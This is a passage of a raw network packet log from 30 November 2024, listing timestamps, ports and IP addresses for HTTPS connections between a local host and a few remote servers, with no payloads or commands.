Nov 30, 2024 04:13:36.043137074 CET	443	49971	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.043203115 CET	49971	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.043359995 CET	49971	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.043374062 CET	443	49971	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.331933975 CET	443	49966	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.335088015 CET	443	49966	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.335182905 CET	49966	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.335242033 CET	49966	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.335256100 CET	443	49966	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.335267067 CET	49966	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.335272074 CET	443	49966	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.338361025 CET	49972	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.338381052 CET	443	49972	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.338450909 CET	49972	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.338610888 CET	49972	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.338620901 CET	443	49972	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.368587017 CET	443	49967	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.369126081 CET	49967	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.369210958 CET	443	49967	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.369584084 CET	49967	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.369602919 CET	443	49967	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.398722887 CET	443	49968	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.399168968 CET	49968	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.399188042 CET	443	49968	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.399514914 CET	49968	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.399521112 CET	443	49968	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.538219929 CET	443	49969	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.538851976 CET	49969	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.538861990 CET	443	49969	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.539334059 CET	49969	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.539338112 CET	443	49969	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.993927002 CET	443	49967	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.993994951 CET	443	49967	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.994079113 CET	49967	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.994309902 CET	49967	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.994350910 CET	443	49967	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.994380951 CET	49967	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.994396925 CET	443	49967	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.997402906 CET	49973	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.997436047 CET	443	49973	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:36.997514009 CET	49973	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.997678041 CET	49973	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:36.997689009 CET	443	49973	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:37.111076117 CET	443	49968	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:37.111141920 CET	443	49968	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:37.111191988 CET	49968	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:37.111426115 CET	49968	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:37.111443043 CET	443	49968	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:37.111453056 CET	49968	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:37.111459970 CET	443	49968	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:37.111485958 CET	443	49969	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:37.111540079 CET	443	49969	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:37.111583948 CET	49969	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:37.111745119 CET	49969	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:37.111754894 CET	443	49969	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:37.111773014 CET	49969	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:37.111777067 CET	443	49969	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:37.115492105 CET	49975	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:37.115499020 CET	49974	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:37.115531921 CET	443	49975	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:37.115550995 CET	443	49974	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:37.115607977 CET	49975	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:37.115657091 CET	49974	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:37.115751982 CET	49975	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:37.115796089 CET	443	49975	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:37.115838051 CET	49974	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:37.115869045 CET	443	49974	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:37.758580923 CET	443	49971	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:37.759264946 CET	49971	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:37.759298086 CET	443	49971	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:37.759788036 CET	49971	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:37.759793043 CET	443	49971	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.117383003 CET	443	49972	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.117912054 CET	49972	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.117944002 CET	443	49972	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.118392944 CET	49972	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.118407011 CET	443	49972	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.194185972 CET	443	49971	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.197287083 CET	443	49971	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.197331905 CET	443	49971	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.197376966 CET	49971	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.197417021 CET	49971	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.197910070 CET	49971	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.197918892 CET	443	49971	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.197930098 CET	49971	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.197935104 CET	443	49971	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.207252979 CET	49976	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.207308054 CET	443	49976	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.207381010 CET	49976	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.207544088 CET	49976	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.207561016 CET	443	49976	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.561202049 CET	443	49972	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.564466000 CET	443	49972	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.564552069 CET	49972	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.564632893 CET	49972	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.564634085 CET	49972	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.564675093 CET	443	49972	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.564701080 CET	443	49972	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.567631006 CET	49977	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.567667007 CET	443	49977	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.567778111 CET	49977	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.567974091 CET	49977	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.567985058 CET	443	49977	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.776433945 CET	443	49973	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.777034998 CET	49973	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.777055979 CET	443	49973	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.777546883 CET	49973	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.777554035 CET	443	49973	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.831253052 CET	443	49975	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.831821918 CET	49975	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.831840992 CET	443	49975	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.832268000 CET	49975	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.832272053 CET	443	49975	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.894747019 CET	443	49974	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.895353079 CET	49974	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.895407915 CET	443	49974	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:38.895860910 CET	49974	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:38.895879984 CET	443	49974	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.221498966 CET	443	49973	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.224759102 CET	443	49973	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.224812031 CET	443	49973	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.224827051 CET	49973	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.224886894 CET	49973	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.224939108 CET	49973	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.224948883 CET	443	49973	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.224968910 CET	49973	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.224972963 CET	443	49973	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.230741024 CET	49978	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.230779886 CET	443	49978	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.230861902 CET	49978	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.237102985 CET	49978	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.237124920 CET	443	49978	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.266289949 CET	443	49975	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.269454002 CET	443	49975	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.269520998 CET	49975	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.269561052 CET	49975	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.269566059 CET	443	49975	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.269577026 CET	49975	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.269578934 CET	443	49975	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.274209976 CET	49979	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.274234056 CET	443	49979	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.274286985 CET	49979	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.274625063 CET	49979	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.274635077 CET	443	49979	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.341500044 CET	443	49974	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.344645023 CET	443	49974	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.344696999 CET	443	49974	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.344717026 CET	49974	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.344759941 CET	49974	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.344810963 CET	49974	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.344839096 CET	443	49974	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.344856024 CET	49974	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.344862938 CET	443	49974	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.347403049 CET	49980	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.347440958 CET	443	49980	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.347532988 CET	49980	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.347687006 CET	49980	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.347698927 CET	443	49980	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.662051916 CET	49981	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:13:39.662101030 CET	443	49981	142.250.181.100	192.168.2.6
Nov 30, 2024 04:13:39.662198067 CET	49981	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:13:39.662415981 CET	49981	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:13:39.662427902 CET	443	49981	142.250.181.100	192.168.2.6
Nov 30, 2024 04:13:39.987663031 CET	443	49976	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.988255978 CET	49976	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.988274097 CET	443	49976	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:39.988748074 CET	49976	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:39.988754988 CET	443	49976	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:40.413203001 CET	443	49977	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:40.413769007 CET	49977	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:40.413786888 CET	443	49977	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:40.414426088 CET	49977	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:40.414434910 CET	443	49977	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:40.431304932 CET	443	49976	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:40.434649944 CET	443	49976	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:40.434716940 CET	49976	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:40.434772968 CET	49976	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:40.434789896 CET	443	49976	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:40.434799910 CET	49976	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:40.434804916 CET	443	49976	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:40.438039064 CET	49982	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:40.438067913 CET	443	49982	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:40.438126087 CET	49982	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:40.438302040 CET	49982	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:40.438314915 CET	443	49982	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:40.868619919 CET	443	49977	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:40.868650913 CET	443	49977	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:40.868706942 CET	443	49977	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:40.868725061 CET	49977	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:40.868763924 CET	49977	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:40.869054079 CET	49977	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:40.869072914 CET	443	49977	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:40.869102001 CET	49977	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:40.869110107 CET	443	49977	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:40.872381926 CET	49983	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:40.872423887 CET	443	49983	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:40.872513056 CET	49983	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:40.872695923 CET	49983	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:40.872705936 CET	443	49983	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.016237974 CET	443	49978	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.016797066 CET	49978	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.016812086 CET	443	49978	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.017294884 CET	49978	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.017307043 CET	443	49978	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.061499119 CET	443	49980	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.061997890 CET	49980	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.062019110 CET	443	49980	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.062428951 CET	49980	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.062437057 CET	443	49980	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.118810892 CET	443	49979	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.119287968 CET	49979	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.119303942 CET	443	49979	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.119707108 CET	49979	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.119712114 CET	443	49979	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.412568092 CET	443	49981	142.250.181.100	192.168.2.6
Nov 30, 2024 04:13:41.412873030 CET	49981	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:13:41.412904978 CET	443	49981	142.250.181.100	192.168.2.6
Nov 30, 2024 04:13:41.413233042 CET	443	49981	142.250.181.100	192.168.2.6
Nov 30, 2024 04:13:41.413551092 CET	49981	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:13:41.413621902 CET	443	49981	142.250.181.100	192.168.2.6
Nov 30, 2024 04:13:41.458606958 CET	49981	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:13:41.489110947 CET	443	49978	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.492181063 CET	443	49978	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.492269039 CET	49978	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.492337942 CET	49978	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.492337942 CET	49978	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.492352009 CET	443	49978	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.492356062 CET	443	49978	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.495512962 CET	49984	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.495543957 CET	443	49984	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.495626926 CET	49984	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.495790005 CET	49984	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.495804071 CET	443	49984	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.524753094 CET	443	49980	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.524774075 CET	443	49980	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.524828911 CET	443	49980	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.524857044 CET	49980	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.524893999 CET	49980	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.525049925 CET	49980	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.525069952 CET	443	49980	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.525083065 CET	49980	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.525089025 CET	443	49980	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.527431965 CET	49985	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.527452946 CET	443	49985	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.527529001 CET	49985	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.527664900 CET	49985	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.527679920 CET	443	49985	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.572113037 CET	443	49979	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.572137117 CET	443	49979	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.572225094 CET	49979	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.572238922 CET	443	49979	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.572428942 CET	49979	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.572441101 CET	443	49979	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.572448969 CET	49979	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.572566032 CET	443	49979	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.572593927 CET	443	49979	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.574076891 CET	49979	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.575098991 CET	49986	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.575134993 CET	443	49986	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.578244925 CET	49986	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.578373909 CET	49986	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:41.578386068 CET	443	49986	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:41.818233013 CET	49705	443	192.168.2.6	20.190.181.5
Nov 30, 2024 04:13:41.938548088 CET	443	49705	20.190.181.5	192.168.2.6
Nov 30, 2024 04:13:41.941447973 CET	49705	443	192.168.2.6	20.190.181.5
Nov 30, 2024 04:13:42.182539940 CET	443	49982	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:42.183075905 CET	49982	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:42.183114052 CET	443	49982	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:42.183552980 CET	49982	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:42.183558941 CET	443	49982	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:42.618181944 CET	443	49982	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:42.621352911 CET	443	49982	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:42.621407032 CET	443	49982	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:42.621444941 CET	49982	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:42.621478081 CET	49982	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:42.621546984 CET	49982	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:42.621567965 CET	443	49982	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:42.621581078 CET	49982	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:42.621586084 CET	443	49982	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:42.624584913 CET	49987	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:42.624612093 CET	443	49987	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:42.624696016 CET	49987	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:42.624829054 CET	49987	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:42.624842882 CET	443	49987	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:42.669064045 CET	443	49983	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:42.669631958 CET	49983	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:42.669651985 CET	443	49983	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:42.670113087 CET	49983	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:42.670120001 CET	443	49983	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.130079031 CET	443	49983	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.133047104 CET	443	49983	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.133100033 CET	49983	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.133178949 CET	49983	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.133187056 CET	443	49983	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.133197069 CET	49983	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.133202076 CET	443	49983	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.136276960 CET	49988	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.136296988 CET	443	49988	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.136362076 CET	49988	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.136527061 CET	49988	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.136535883 CET	443	49988	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.275881052 CET	443	49984	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.276465893 CET	49984	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.276498079 CET	443	49984	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.276953936 CET	49984	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.276959896 CET	443	49984	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.308034897 CET	443	49985	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.308454990 CET	49985	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.308480024 CET	443	49985	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.308836937 CET	49985	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.308842897 CET	443	49985	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.357696056 CET	443	49986	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.360235929 CET	49986	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.360248089 CET	443	49986	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.360768080 CET	49986	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.360771894 CET	443	49986	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.721499920 CET	443	49984	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.724725008 CET	443	49984	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.724773884 CET	443	49984	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.724791050 CET	49984	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.724842072 CET	49984	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.734937906 CET	49984	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.734956026 CET	443	49984	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.734968901 CET	49984	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.734973907 CET	443	49984	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.752039909 CET	443	49985	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.755270958 CET	443	49985	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.755372047 CET	49985	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.791158915 CET	49985	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.791158915 CET	49985	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.791194916 CET	443	49985	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.791205883 CET	443	49985	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.794754028 CET	49989	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.794779062 CET	49990	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.794796944 CET	443	49989	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.794807911 CET	443	49990	13.107.246.63	192.168.2.6
Nov 30, 2024 04:13:43.794864893 CET	49989	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.795017004 CET	49990	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.795018911 CET	49989	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:13:43.795033932 CET	443	49989	13.107.246.63	192.168.2.6
